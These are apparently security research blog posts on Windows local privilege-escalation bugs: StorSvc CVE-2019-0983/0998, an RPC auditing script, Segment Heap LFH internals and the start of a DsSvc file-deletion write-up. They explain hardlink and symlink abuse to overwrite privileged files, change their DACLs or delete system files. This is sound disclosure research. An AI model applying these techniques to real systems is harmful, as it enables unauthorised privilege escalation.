         LODWORD(v4) = StringCchCopyW(&FileName, 0x104ui64, (const wchar_t *)(v6 + g_StorageService[v3 + 5] + 4));
              if ( (signed int)v4 >= 0 )
              {
                    .....
              }

As the code show, variable v5 looks like a index, and there is a structure which size is 0x450, g_StorageService is a global variable which store these structures like a structures table. When I went into these RPC interfaces, it always be failure when service check this structure.

0:002> dc poi(0x7ffe5b683bb0+0x28)+0x450 l4
00000169`44831820  00000000 00000000 00000000 00000000  ................

The content of this structure always be zero. That's bad, so I tried to find why it failed and how to set the value.

After some code review, I noticed that this content can be set by mounting a extension volume.

Now I knew why this value always be zero, I tested it in VM, and there was only one origin volume C:\ in VM. After a little researched, there was a easy way to make it work, I could added a new disk in VM, such as E:. And then, the content of structure is set, and I can got some variable in structure meaning, for example, the offset 0x4 in this structure was point to VolumeName, the offset 0x234 in this structure was point to volume state.

0:001> dc poi(0x7ffe5b683bb0+0x28)+0x450 l4
00000169`44831820  00000000 003a0045 0000005c 00000000  ....E.:.\.......

Now let me introduce CVE-2019-0983 and CVE-2019-0998.
(I used hardlink in these two CVEs, because Microsoft wasn't release hardlink mitigation at that time)


CVE-2019-0983

The vulnerability caused by a logical error in StorageService::ProvisionStorageCardForUser, error code like this:

__int64 __fastcall StorageService::ProvisionStorageCardForUser(__int64 a1, int a2, unsigned int a3, wchar_t *a4)
{
        v22 = StringCchPrintfW(&ExistingFileName, 0x104ui64, L"%s\\desktop.ini");
      v9 = 0;
      if ( v22 >= 0 )
      {
        v23 = StringCchPrintfW(&NewFileName, 0x104ui64, L"%s\\desktop.ini", v21);
        v9 = 0;
        if ( v23 >= 0 )
        {
          CopyFileW(&ExistingFileName, &NewFileName, 0);
          v9 = 0;
        }
      }
}

CVE-2019-0983 is easy to understand. ExistingFileName was "C:\User\k0shl\Video\desktop.ini", and NewFileName was "E:\User\k0shl\Video\desktop.ini", these two files could be controlled by normal user. So I can create a hardlink to a high priviledge file. It will finally be occupied by my controlled file.

After patch:

    v15 = RpcImpersonateClient(0i64);
    if ( v15 < 0 )
      goto LABEL_44;
    v23 = (void **)&v39;
    if ( v41 >= 8 )
      v23 = v39;
    v24 = &v35;
    if ( (unsigned __int64)Dst >= 8 )
      v24 = (struct _SECURITY_ATTRIBUTES **)v35;
    if ( StringCchPrintfW(&ExistingFileName, 0x104ui64, L"%s\\desktop.ini", v24) >= 0
      && StringCchPrintfW(&NewFileName, 0x104ui64, L"%s\\desktop.ini", v23) >= 0 )
    {
      CopyFileW(&ExistingFileName, &NewFileName, 0);
    }
    RpcRevertToSelf();

It invokes RPCimpersonateClient() before CopyFileW().


CVE-2019-0998

The vulnerability caused by a logical error in StorSvc!SvcSetStorageSettings, the error code in function StorageService::SetWriteAccess :

            v14 = GetUserFolder(&pObjectName);
            ...
             _wsplitpath_s(&pObjectName, 0i64, 0i64, 0i64, 0i64, &Filename, 0x104ui64, 0i64, 0i64);
             LODWORD(phkResult) = StringCchCopyW(
                                     &PathName,
                                     0x104ui64,
                                     (const wchar_t *)(*(_QWORD *)(v7 + 8i64 * (_QWORD)v6 + 40) + 1104 * v11 + 4));
              if ( (signed int)phkResult >= 0 )
              {
                LODWORD(phkResult) = PathCchAppend(&PathName, 260i64, &Filename);
            if ( !CreateDirectoryW(&PathName, &SecurityAttributes) )
            {
              v17 = GetLastError();
              if ( v17 == 183 )
              {
                v18 = SetNamedSecurityInfoW(
                        &PathName,
                        SE_FILE_OBJECT,
                        4u,
                        0i64,
                        0i64,
                        *(PACL *)&SecurityAttributes.nLength,
                        0i64);

First, service invoked GetUserFolder() to get a full folder path and _wsplitpath_() to split full path to its final name. For example, GetUserFolder() return a full path "C:\User\k0shl", and after _wsplitpath_(), I get FileName "k0shl".

And finally PathName will set to "E:\k0shl" and invoke CreateDirectory, service want to create a user folder in another volume, and if it create directory failed, it will get last error value, if value is 0xb7, it means file already exist. Service will invoke SetNamedSecurityInfoW to set it DACL, but it not check if PathName is a file or a directory. How about "E:\k0shl" is a file not a direcotry? If I create a file instead of directory in volume and make a symbolic link to a high priviledge file, it will finally modified high priviledge file's DACL.

After patch:

if ( CreateDirectoryW(&PathName, &SecurityAttributes) )
                    goto LABEL_107;
                  v17 = GetLastError();
                  if ( v17 == 183 )
                  {
                    if ( !(GetFileAttributesW(&PathName) & 0x10) )
                    {
                      LODWORD(phkResult) = -2147024891;
                      goto LABEL_92;
                    }
                    v18 = SetNamedSecurityInfoW(
                            &PathName,
                            SE_FILE_OBJECT,
                            4u,
                            0i64,
                            0i64,
                            (PACL)SecurityAttributes.lpSecurityDescriptor,
                            0i64);

After patch, it check the file's attribute to confirm it's a directory. Actually, I think there is still a TOCTOU, but after I test it, the time window is too small, I can't delete directory and make a symbol link between GetFileAttribute and SetNamedSecurityInfoW. Of course, I also can't use oplock, because GetFileAttribute() just query file object information.

Introduction about my analysis script

After I reported these two logical vulnerabilities, I thought about how I found these two vulnerabilities. First, I found some sensitive functions such as SetNamedSecurityInfo or CopyFile, and I get a code path from RPC interface.

As I said in my another blog, I finally decide to write a script to help me analyze all RPC server.

I make a simple framework about script in my mind.

  • Step 1: I need to get all RPC server
  • Step 2: I need to get all RPC interfaces
  • Step 3: I need to parse RPC dll or exe in IDA
  • Step 4: I need to find a code path from RPC interface to sensitive function

Actually, all of this were easy to complete, I use James Forshaw's awesome tool NtApiDotNet, I can use this tool to help me to parse RPC server, there is a class named Win32 in NtApiDotNet, and a interesting method named ParsePeFile.

This function can parse RPC server and export RPC interfaces like RPCView, I just need the RPC interface name.

 public static IEnumerable<RpcServer> ParsePeFile(string file, string dbghelp_path, string symbol_path, bool parse_clients, bool ignore_symbols)
        {
            List<RpcServer> servers = new List<RpcServer>();
            using (var result = SafeLoadLibraryHandle.LoadLibrary(file, LoadLibraryFlags.DontResolveDllReferences, false))
            {
                if (!result.IsSuccess)
                {
                    return servers.AsReadOnly();
                }

                var lib = result.Result;
                var sections = lib.GetImageSections();
                var offsets = sections.SelectMany(s => FindRpcServerInterfaces(s, parse_clients));
                if (offsets.Any())
                {
                    using (var sym_resolver = !ignore_symbols ? SymbolResolver.Create(NtProcess.Current,
                            dbghelp_path, symbol_path) : null)
                    {
                        foreach (var offset in offsets)
                        {
                            IMemoryReader reader = new CurrentProcessMemoryReader(sections.Select(s => Tuple.Create(s.Data.DangerousGetHandle().ToInt64(), (int)s.Data.ByteLength)));
                            NdrParser parser = new NdrParser(reader, NtProcess.Current,
                                sym_resolver, NdrParserFlags.IgnoreUserMarshal);
                            IntPtr ifspec = lib.DangerousGetHandle() + (int)offset.Offset;
                            var rpc = parser.ReadFromRpcServerInterface(ifspec);
                            servers.Add(new RpcServer(rpc, parser.ComplexTypes, file, offset.Offset, offset.Client));
                        }
                    }
                }
            }

            return servers.AsReadOnly();
        }

And in IDA, I can used IDAPython to parse code path with xrefs, and I also found that there maybe path explosion in analyze python script, so I set a recursion depth to 10 and 7, if the function call count is larger than recursion depth, it will return diffrent result, of course you can change it. Now I collected all I need for this script now.

In my script(about script config please check it in my github):

  • I go through all exe and dll file under C:\Windows\System32(Actually, this not include all RPC servers, there are some other RPC servers in other directory or suffix diffrent from "dll" or "exe" such as Windows Defender or unimdm.tsp, you can config the search path in my script)
  • I use Win32.RPC.ParsePeFile to parse every file, if it's a RPC server, it will return code like IDL
  • I create a file store sensitive functions and use a IDAPython script to parse RPC dll or exe
  • I get all the code path to sensitive functions, and if it start from RPC interface which get from the result by Win32.RPC.ParseFile, I store it in SpecialFinal.txt

The result like:

SvcSetStorageSettings[////////__imp_SetNamedSecurityInfoW<--?CreateStorageCardDirectory@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KPEBGKPEAU_SECURITY_ATTRIBUTES@@PEAU_ACL@@H@Z<--?ProvisionStorageCardForUser@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KPEAG1KPEAU_SECURITY_ATTRIBUTES@@PEAU_ACL@@@Z<--?SetWriteAccess@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KK@Z<--?SetStorageSettings@StorageService@@QEAAJW4_STORAGE_DEVICE_TYPE@@KW4_STORAGE_SETTING@@K@Z<--SvcSetStorageSettings]

SvcSetStorageSettings[////////__imp_CopyFileW<--?ProvisionStorageCardForUser@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KPEAG1KPEAU_SECURITY_ATTRIBUTES@@PEAU_ACL@@@Z<--?SetWriteAccess@StorageService@@IEAAJW4_STORAGE_DEVICE_TYPE@@KK@Z<--?SetStorageSettings@StorageService@@QEAAJW4_STORAGE_DEVICE_TYPE@@KW4_STORAGE_SETTING@@K@Z<--SvcSetStorageSettings]

Time Line

Feb 2019 : Vulnerabilities Reported
Feb 2019 : Microsoft reproduced
May 2019 : Patch released
May 2019 : Bounty awarded

Reference

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0983

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0983

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0998

https://github.com/k0keoyo/ksRPC_analysis_script

https://github.com/k0keoyo/my_vulnerabilities/tree/master/CVE-2019-0983

https://github.com/k0keoyo/my_vulnerabilities/tree/master/CVE-2019-0998

Segment Heap的简单分析和Windbg Extension

10 July 2020 at 01:56

Author: k0shl of 360 Vulcan Team

简述

微软在Windows 10启用了一种新的堆管理机制Low Fragmentation Heap(LFH),在常规的环三应用进程中,Windows使用Nt Heap,而在特定进程,例如lsass.exe,svchost.exe等系统进程中,Windows采用Segment Heap,关于Nt Heap,可以参考Angel boy在WCTF赛后的分享Windows 10 Nt Heap Exploitation,而Segment Heap可以参考MarkYason在16年Blackhat上的议题Windows 10 Segment Heap Internals

在Yason的议题中对于Segment Heap的分析已经足够详细,NT Heap和Segment Heap的结构差异较大,我在这篇文章中只对Segment Heap在Windows ntdll中的代码逻辑实现进行简单分析,以及我针对Segment Heap编写的windbg extension简单介绍。

Segment Heap的创建

Windows在系统进程中使用Segment Heap,部分应用也使用了Segment heap,比如Edge,如果想调试自己的程序,可以在注册表中添加相应键值开启Segment Heap。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\(executable)
FrontEndHeapDebugOptions = (DWORD)0x08

通过windbg !heap命令可以看到当前进程的堆布局。

2: kd> !process 1f0 0
Searching for Process with Cid == 1f0
PROCESS ffffcf026f1cc0c0
    SessionId: 0  Cid: 01f0    Peb: 1803b03000  ParentCid: 01e8
    DirBase: 01850002  ObjectTable: ffffbd0dfbaea080  HandleCount: 574.
    Image: csrss.exe

2: kd> .process /i /p ffffcf026f1cc0c0
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
2: kd> g
0: kd> .reload /user
Loading User Symbols
....................
0: kd> !heap
        Heap Address      NT/Segment Heap

         14bff720000         Segment Heap
        7df42cce0000              NT Heap

关于Segment Heap和Nt Heap通过其头部结构的Signature成员变量区分,Signature保存在Heap Header+0x10位置,当Signature为0xDDEEDDEE时,该堆为Segment Heap,而当Signature为0xFFEEFFEE时,该堆为Nt Heap。

0: kd> dq 14bff720000 l3//Segment Heap
0000014b`ff720000  00000000`01000000 00000000`00000000
0000014b`ff720010  00000000`ddeeddee
0: kd> dq 7df42cce0000 l3//Nt Heap
00007df4`2cce0000  00000000`00000000 01009ba1`00f60fd8
00007df4`2cce0010  00000001`ffeeffee

当进程初始化时,进程会调用RtlInitializeHeapManager函数创建堆管理结构,内层函数调用RtlpHpOptIntoSegmentHeap决定是否创建SegmentHeap,在RtlpHpOptIntoSegmentHeap函数中会检查进程明程等内容,当属于指定系统进程或者Package时,会设置对应的Feature,最后创建Segement Heap设置_SEGMENT_HEAP->Signature值为0xDDEEDDEE。

__int64 __fastcall RtlpHpOptIntoSegmentHeap(unsigned __int16 *a1)
{
  v1 = a1;
  v16 = L"svchost.exe"; //----->指定的系统进程
  v2 = 0;
  v17 = L"runtimebroker.exe";//----->指定的系统进程
  v18 = L"csrss.exe";//----->指定的系统进程
  v19 = L"smss.exe";//----->指定的系统进程
  v20 = L"services.exe";//----->指定的系统进程
  v21 = L"lsass.exe";//----->指定的系统进程
  ...
}

//调用路径
LdrpInitializeProcess
        |__RtlInitializeHeapManager
                    |__RtlpHpOptIntoSegmentHeap
                    
//最终在RtlpHpHeapCreate函数中将+0x10 Signature值置为0xDDEEDDEE
__int64 __fastcall RtlpHpHeapCreate(unsigned __int32 a1, unsigned __int64 a2, __int64 a3, __m128i *a4)
{
    v9 = (__m128i *)RtlpHpHeapAllocate(v6, v7, (__m128i *)&v36);
    v9[1].m128i_i32[0] = 0xDDEEDDEE;//mov     dword ptr [rax+10h], 0DDEEDDEEh
}

因此我在编写segment heap的windbg extension时,通过查看的Bucket Block地址找到Segment Heap Header之后通过查看对应Signature是否为0xDDEEDDEE用于确认查找的地址是否是一个有效的Bucket地址。

Segment Heap LFH

Allocate

接下来对Segment Heap的分配和释放进行简单分析,首先我们需要了解_SEGMENT_HEAP中的一个关键结构_HEAP_LFH_CONTEXT,其成员在偏移0x340位置,在_HEAP_LFH_CONTEXT结构偏移0x80位置存放着一个Bucket Table,其结构关系如下。

0: kd> dt _SEGMENT_HEAP LfhContext
ntdll!_SEGMENT_HEAP
   +0x340 LfhContext : _HEAP_LFH_CONTEXT
0: kd> dt _HEAP_LFH_CONTEXT Buckets
ntdll!_HEAP_LFH_CONTEXT
   +0x080 Buckets : [129] Ptr64 _HEAP_LFH_BUCKET

在BucketTable中存放不同Size的Bucket Manager pointer,其实LFH并非在最开始就处于待分配状态,在堆最开始分配的时候是通过正常的Variable Size分配,关于vs heap的分配可以参考Yason的slide,当进程申请堆时会调用ntdll!RtlAllocateHeap,在分配时会检查Signature是否是SegmentHeap。

__int64 __fastcall RtlAllocateHeap(_SEGMENT_HEAP *a1, unsigned int a2, __int64 a3)
{
  if ( !a1 )
    RtlpLogHeapFailure(19i64, 0i64);
  if ( a1->Signature == 0xDDEEDDEE )
    return RtlpHpAllocWithExceptionProtection((__int64)a1, a3, a2);
  if ( RtlpHpHeapFeatures & 2 )
    return RtlpHpTagAllocateHeap((__int64)a1, a3, a2);
  return RtlpAllocateHeapInternal(a1, a3, a2, 0i64);
}

若Signature值为0xDDEEDDEE时,会调用RtlpHpAllocWithExceptionProtection创建segment heap block,在最开始的时候,会检查Bucket Table中lfh是否已经激活,也就是第一比特是否为1,当第一比特为1时,当前Bucket处于未激活lfh的情况,会创建vs heap,我们暂不讨论vs heap的申请。

3: kd> dq 116abf90000+340+80//Bucket Table
00000116`abf903c0  00000000`00000001 00000000`00000001
00000116`abf903d0  00000000`026e0001 00000116`abf90900//已经激活LFH索引的指针
00000116`abf903e0  00000000`01ee0001 00000000`030f0001//未激活的索引
00000116`abf903f0  00000000`04100001 00000000`00820001
00000116`abf90400  00000000`01280001 00000000`00e30001
00000116`abf90410  00000000`00210001 00000000`00410001

Segment Heap的分配实现在RtlpAllocateHeapInternal函数中,由于代码逻辑较长但并不复杂,我这里只标明与我本文相关的逻辑部分,具体逻辑需要感兴趣的读者自行逆向。

__int64 __fastcall RtlpAllocateHeapInternal(_SEGMENT_HEAP *HeapBase, unsigned __int64 InSize, __int64 a3, __int64 a4)
{
……
    if ( InSize <= (unsigned int)WORD2(HeapBase->LfhContext.Buckets[0x13]) - 0x10 )//--->(0)
    {
          if(!(BucketTable[SizeIndex] & 1){//--->(1)
               RtlpHpLfhSlotAllocate()         
          }
          else if(Allocate enough blocks){ //--->(2)
               RtlpHpLfhBucketActivate()
          }
          else{
               do something//--->(3)  
          }

    }
    if ( InSize > 0x20000 )
    {
          RtlpHpLargeAlloc()//--->(4)
    }
    else{
          RtlpHpVsContextAllocateInternal()//--->(5)
    }
……
}

接下来我会就代码中的逻辑进行简要说明。

(0) 分配时首先判断申请堆的大小是否小于等于0x4000-0x10,也就是0x3ff0,若大于0x4000且小于等于0x20000,则直接使用Variable Size Heap Allocate,如果大于0x20000则使用Large Heap Allocate。
(1) 若申请堆大小小于等于0x3ff0,则会在Bucket Table中找到分配大小对应Size的索引,之后判断其是否已经激活LFH(第一比特是否为1),当LFH已经激活时,if语句判断返回TRUE,直接调用RtlpHpLfhSlotAllocate申请Block。
(2) 否则检查当前申请的堆大小的已申请数量是否已经满足激活LFH所需的数量,若满足,则调用RtlpHpLfhBucketActivate函数激活Bucket,此时Bucket Table对应位置会被Bucket Header赋值。
(3) 如果分配数量还不满足则进行一些Flag的赋值后跳出if语句。
(4) 当申请堆大小大于0x20000时,则调用RtlpHpLargeAlloc申请Large Heap。
(5) 当满足(0)条件或者在(3)中没有达到激活LFH条件时,调用RtlpHpVsContextAllocateInternal申请VS Heap,也就是说(5)不一定只满足大于0x4000小于等于0x20000的情况,小于等于0x4000时也有可能会走VS Heap,这取决于已分配Block的数量。

这里我们不讨论VS Heap和Large Heap,只讨论LFH Heap的情况。当LFH被激活时,RtlpHpLfhBucketActivate会创建一个Bucket Manager,并且将这个Manager指针放到Bucket Table对应Size Index的位置,我们要研究申请堆的Block的分配需要从这个Bucket Manager入手。

Block的申请在RtlpHpLfhSlotAllocate()函数中,关于这个函数代码逻辑比较复杂,我将从Bucket Manager入手结合关键的代码逻辑和大家分享LFH Block的分配过程。由于调试过程比较复杂,这里我不再贴出调试步骤记录占用篇幅,感兴趣的读者可以在RtlpHpLfhSlotAllocate单步跟踪加以印证。

Bucket Manager是一个名为_HEAP_LFH_BUCKET的结构,其成员变量包含一个重要结构_HEAP_LFH_AFFINITY_SLOT,该结构中包含的重要成员变量结构为_HEAP_LFH_SUBSEGMENT_OWNER,关于结构关系如下(重要结构我用*表示)。

1: kd> dt _HEAP_LFH_BUCKET 116`abf90b00
ntdll!_HEAP_LFH_BUCKET
   +0x000 State            : _HEAP_LFH_SUBSEGMENT_OWNER
   +0x038 TotalBlockCount  : 0x5b7
   +0x040 TotalSubsegmentCount : 0x10
   +0x048 ReciprocalBlockSize : 0x3333334
   +0x04c Shift            : 0x20 ' '
   +0x04d ContentionCount  : 0 ''
   +0x050 AffinityMappingLock : 0
   +0x058 ProcAffinityMapping : 0x00000116`abf90b80  ""
   * +0x060 AffinitySlots    : 0x00000116`abf90b88  -> 0x00000116`abf90bc0 _HEAP_LFH_AFFINITY_SLOT

1: kd> dt _HEAP_LFH_AFFINITY_SLOT 116`abf90bc0
ntdll!_HEAP_LFH_AFFINITY_SLOT
   * +0x000 State            : _HEAP_LFH_SUBSEGMENT_OWNER
   +0x038 ActiveSubsegment : _HEAP_LFH_FAST_REF
   
1: kd> dt _HEAP_LFH_SUBSEGMENT_OWNER 116`abf90bc0
ntdll!_HEAP_LFH_SUBSEGMENT_OWNER
   +0x000 IsBucket         : 0y0
   +0x000 Spare0           : 0y0000000 (0)
   * +0x001 BucketIndex      : 0x5 ''
   +0x002 SlotCount        : 0 ''
   +0x002 SlotIndex        : 0 ''
   +0x003 Spare1           : 0 ''
   * +0x008 AvailableSubsegmentCount : 1
   +0x010 Lock             : 0
   * +0x018 AvailableSubsegmentList : _LIST_ENTRY [ 0x00000116`ac5d4000 - 0x00000116`ac5d4000 ]
   * +0x028 FullSubsegmentList : _LIST_ENTRY [ 0x00000116`ac0f7000 - 0x00000116`ac5d0000 ]

LHF的Bucket是通过双向链表的方法管理,AvailableSubsegmentList是存在Free状态的Block的Bucket链表,FullSubsegmentList是已经满了的Bucket的链表,这两个链表存放的就是各个Bucket的Bucket Header,当LFH分配Block时,会检查Bucket Manager中AvailableSubsegementCount的值,若其值小于等于0,则继续判断AvailableSubsegementList,在AvailableSubsegmentList中没有可用的Bucket header时,其值指向自己。

1: kd> dq 116`abf90bc0//_HEAP_LFH_SUBSEGMENT_OWNER结构
00000116`abf90bc0  00000000`00000500 00000000`00000001//有可用的Bucket
00000116`abf90bd0  00000000`00000000 00000116`ac5d4000//AvailableSubsegmentList
00000116`abf90be0  00000116`ac5d4000 00000116`ac0f7000//FullSubsegmentList
00000116`abf90bf0  00000116`ac5d0000 00000000`00000000

3: kd> dq 116`abf908c0//_HEAP_LFH_SUBSEGMENT_OWNER结构
00000116`abf908c0  00000000`00000c00 00000000`00000000//可用的Count为0
00000116`abf908d0  00000000`00000000 00000116`abf908d8//AvailableSubsegmentList指向本身
00000116`abf908e0  00000116`abf908d8 00000116`abf908e8//FullSubsegmentList指向本身
00000116`abf908f0  00000116`abf908e8 00000000`00000000

v10 = &a3->State.AvailableSubsegmentCount;
if ( a3->State.AvailableSubsegmentCount <= 0 )//当Count小于0
{
……
    v121 = (__int64 **)&a2->State.AvailableSubsegmentList;
    if ( *v121 == (__int64 *)v121//链表指针指向本身
        || ((RtlAcquireSRWLockExclusive(&a2->State.Lock), *v121 == (__int64 *)v121) ? (_RSI = 0i64) : (_RSI = RtlpHpLfhOwnerMoveSubsegment((__int64)a2, *v121, 2)),
            RtlReleaseSRWLockExclusive(&a2->State.Lock),
            !_RSI) )
    {
        _RSI = (__int64 *)RtlpHpLfhSubsegmentCreate(a1, a2, a5);
        if ( !_RSI )
          goto LABEL_52;
    }
……
}

如果满足上述条件,则当前没有可用的Bucket,LFH调用RtlpHpLfhSubsegmentCreate创建一个新的Bucket,在RtlpHpLfhSubsegmentCreate函数中,我们可以看到实际上在_HEAP_LFH_SUBSEGMENT_OWNER中的BucketIndex成员变量用于在ntdll的一个全局变量RtlpBucketBlockSizes中获取这个Bucket Manager所管理的Bucket中Block的Size,也就是我们申请堆的Size。

  v3 = a2->State.BucketIndex;
  v4 = RtlpHpLfhPerfFlags;
  v10 = a3;
  v8 = (unsigned __int16)RtlpBucketBlockSizes[v3];
  v33 = (unsigned __int16)RtlpBucketBlockSizes[v3];
  
1: kd> dq ntdll!RtlpBucketBlockSizes
00007ffc`5cbe1270  00300020`00100000 00700060`00500040//Block Size
00007ffc`5cbe1280  00b000a0`00900080 00f000e0`00d000c0
00007ffc`5cbe1290  01300120`01100100 01700160`01500140
00007ffc`5cbe12a0  01b001a0`01900180 01f001e0`01d001c0
00007ffc`5cbe12b0  02300220`02100200 02700260`02500240
00007ffc`5cbe12c0  02b002a0`02900280 02f002e0`02d002c0

在RtlpHpLfhSubsegmentCreate函数最终会分配出一个Bucket,将Bucket Header赋值给AvailableSubsegementList,同时这个函数中会按照RtlpBucketBlockSizes对应BlockIndex的地址,返回Size,最终切割好Block。

一旦存在可用的Bucket,则来到分配的最后一步,实际上理解分配最后一步非常简单,在Bucket创建时,所有可用的堆已经被切割好,LFH会随机取一块Block,并且将这个Block的地址返回,这个地址就是我们申请堆的地址,这一步全部依靠Bucket Header完成。

在Segment Heap LFH中,堆不再具有头部,取而代之的是通过Bucket Header来管理Bucket中的所有Block。Bucket Header结构体叫做_HEAP_LFH_SUBSEGMENT

1: kd> dt _HEAP_LFH_SUBSEGMENT 116`ac0f7000 FreeCount, BlockCount, BlockBitmap
ntdll!_HEAP_LFH_SUBSEGMENT
   +0x020 FreeCount   : 0
   +0x022 BlockCount  : 0x32
   +0x030 BlockBitmap : [1] 0x55555555`55555555
   
1: kd> dq 116`ac0f7000
00000116`ac0f7000  00000116`ac1f9000 00000116`abf90be8//List_Entry
00000116`ac0f7010  00000116`abf90bc0 00000000`00000000
00000116`ac0f7020  0001002c`00320000 0040010c`60b53c07
00000116`ac0f7030  55555555`55555555 fffffff5`55555555
00000116`ac0f7040  00000000`00000001 00000000`00000000

在Bucket Header中,Bitmap中存放的是这个Bucket中所有Block的状态,关于这个状态在Yason的slide中有相关介绍,这里我就不赘述了,值得一提的是,当你申请堆的大小恰好和RtlpBucketBlockSizes中存放的大小相等时,Bitmap的01代表已分配状态,00代表空闲状态,而当你申请的大小与RtlpBucketBlockSizes中存放大小不等时,则Bucket依然会按照RtlpBucketBlockSizes中存放的大小切割,但11代表已分配状态,10代表空闲状态,比方说我申请0xc10大小,但实际Block大小会按照0xC80切割,同时bitmap中高位会置1,这一切都取决于Bucket的索引在RtlpBucketBlockSizes数组中对应位置存放的Size。

分配时,会在bitmap中找到随机一个空闲状态的Block并返回,同时会将bitmap中对应位置置成分配状态(低位置1),并且FreeCount减1,当FreeCount减到0时,证明Bucket全部分配满,LFH会将该Bucket从AvailableSubsegmentList链表中unlink,并插入FullSubsegmentList中。

同理释放时,会将bitmap对应的位置置成空闲状态,FreeCount加1,若当前Bucket在FullSubsegmentList中,则会从该链表unlink,并加入到AvailableSubsegmentList中。

最后,关于创建Bucket的时候到底分配多少Block,这个并不是固定的,而是根据_HEAP_LFH_BUCKET中的TotalSubsegmentCount以及申请堆的大小决定的,其函数实现在RtlpGetSubSegmentBlockCount中。

__int64 __fastcall RtlpGetSubSegmentBlockCount(unsigned int HeapSize, unsigned int TotalSubSegmentCount, char AlwaysZero, int IsFirstBucket)
{
  v5 = AlwaysZero - 1;
  if ( HeapSize >= 0x100 )
    v5 = AlwaysZero;
  v6 = v5 - 1;
  if ( !IsFirstBucket )//如果是这个Size的第一个Bucket
    v6 = v5;
  if ( TotalSubSegmentCount < 1 << (3 - v6) )
    TotalSubSegmentCount = 1 << (3 - v6);
  if ( TotalSubSegmentCount < 4 )
    TotalSubSegmentCount = 4;
  if ( TotalSubSegmentCount > 0x400 )
    TotalSubSegmentCount = 0x400;
  return TotalSubSegmentCount;
}

随着该Size分配的堆数量的增加,最终一个Bucket中创建的Blocks也会增加。

在我的Windbg Extension中,由于Bucket Header都是按页对齐,因此通过查询的堆地址直接与0xff..f000做与运算后就可以找到页头部,假设该头部是Bucket Header时,其_HEAP_LFH_SUBSEGMENT的_HEAP_LFH_SUBSEGMENT_OWNER成员变量指向Bucket Manager,之后可以找到整个Segment Heap的头部,通过Signature就可以判断Bucket Header是否是有效的Bucket Header,如果不是,则将当前页头部-0x1000,继续按页查找,因为当前分配的Block可能不止一页。

之后根据Bucket Header的Bucket Index可以在全局变量RtlpBucketBlockSizes数组中找到当前Bucket的Size,通过bitmap可以打印最终的Bucket布局。

1: kd> !heapinfo 116`ac0f7060
Try to find Bucket Manager.
Bucket Header:  0x00000116ac0f7000
Bucket Flink:   0x00000116ac1f9000
Bucket Blink:   0x00000116abf90be8
Bucket Manager: 0x00000116abf90bc0
---------------------Bucket Info---------------------
Free Heap Count:  0
Total Heap Count: 50
Block Size:       0x50
--Index-- | -----Heap Address----- | --Size-- | --State--
0000      | *0x00000116ac0f7050    | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0001      | 0x00000116ac0f70a0     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0002      | 0x00000116ac0f70f0     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0003      | 0x00000116ac0f7140     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0004      | 0x00000116ac0f7190     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0005      | 0x00000116ac0f71e0     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0006      | 0x00000116ac0f7230     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------
0007      | 0x00000116ac0f7280     | 0x0050   | Busy
--------- | ---------------------- | -------- | ---------

引用

MarkYason, "Windows 10 Segment Heap Internals"

My Project: SegmentHeapExt

A simple story of DsSvc, "Live and Die"

22 November 2019 at 02:51

Author: k0shl of 360 Vulcan Team

Overview

DsSvc is a data sharing service that provides data sharing between processes. I have not conducted an in-depth analysis of the specific functions of this service. It is known that it provides some methods of file sharing between processes. As shown in the following figure, the process specifies a shared file through DsSvc, and calls CoCreateGuid to create a GUID as a file token, and stores information such as its token and file path into DbTable. Other processes can obtain file objects through this token and perform other files operating.

1.PNG

Data sharing services contain many file operations, which also bring a lot of security issues. Microsoft spent nearly a year to fix the logical issue in this service. The security issue caused by file operations is one of the types of logical vulnerability. Important partitions, it's necessary to be careful when dealing with files' operation, especially for file security attributes. I will analyze the logical vulnerabilities in DsSvc, as well as Microsoft's patch, and bypass. Let's start our story.

The Beginning of story...

In November 2018, Microsoft patched a data sharing service vulnerability discovered by SandboxEscaper (PolarBear). SandboxEscaper shared details about this vulnerability on the blog. Since this article on the SandboxEscaper's blog is inaccessible, it is not possible to reference the SandboxEscaper blog address. A description of vulnerability is as follows:

Bug description:
RpcDSSMoveFromSharedFile(handle,L"token",L"c:\\blah1\\pci.sys");
This function exposed over alpc, has a arbitrary delete vuln. 
Hitting the timing was pretty annoying. But my PoC will keep rerunning until c:\windows\system32\drivers\pci.sys is deleted.
I believe it’s impossible to hit the timing on a single core VM. I was able to trigger it using 4 cores on my VM. (Sadly I wasn’t able to use OPLOCKS with this particular bug)
Root cause is basically just a delete without impersonation because of an early revert to self. Should be straight forward to fix it… 
Exploitation wise.. you either try to trigger dll hijacking issues in  3rd party software.. or delete temp files used by a system service in c:\windows\temp and hijack them and hopefully do some evil stuff.

This is an arbitrary file deletion vulnerability. The vulnerability occurs in the RPC interface RpcDSSMoveFromSharedFile. The issue existed in function PolicyChecker::CheckFilePermission. The code is as follows:

__int64 __fastcall PolicyChecker::CheckFilePermission(const WCHAR *FileName, unsigned int a2, unsigned int a3, int a4, __int64 a5)
{
  [...CreateFile flag check...]
  [...Impersonate...]
  v12 = CreateFileW(v5, dwDesiredAccess, dwShareMode, 0i64, 4u, 0x80u, 0i64);
  [...RevertToSelf...]
  if ( v12 == (void *)-1i64 )
  {
    [...]
  }
  else
  {
    v17 = v14;
    if ( !a5 || (v8 = DSUtils::GetFinalPathFromHandle(v12, a5), (v8 & 0x80000000) == 0) )
    {
      CloseHandle(v12);//Close
      v12 = (void *)-1i64;
      if ( v17 )
        return v8;
      DeleteFileW(v5);//arbitrary file deletion
    }
    if ( v13 != (void *)-1i64 )
      CloseHandle(v13);
  }
  return v8;
}

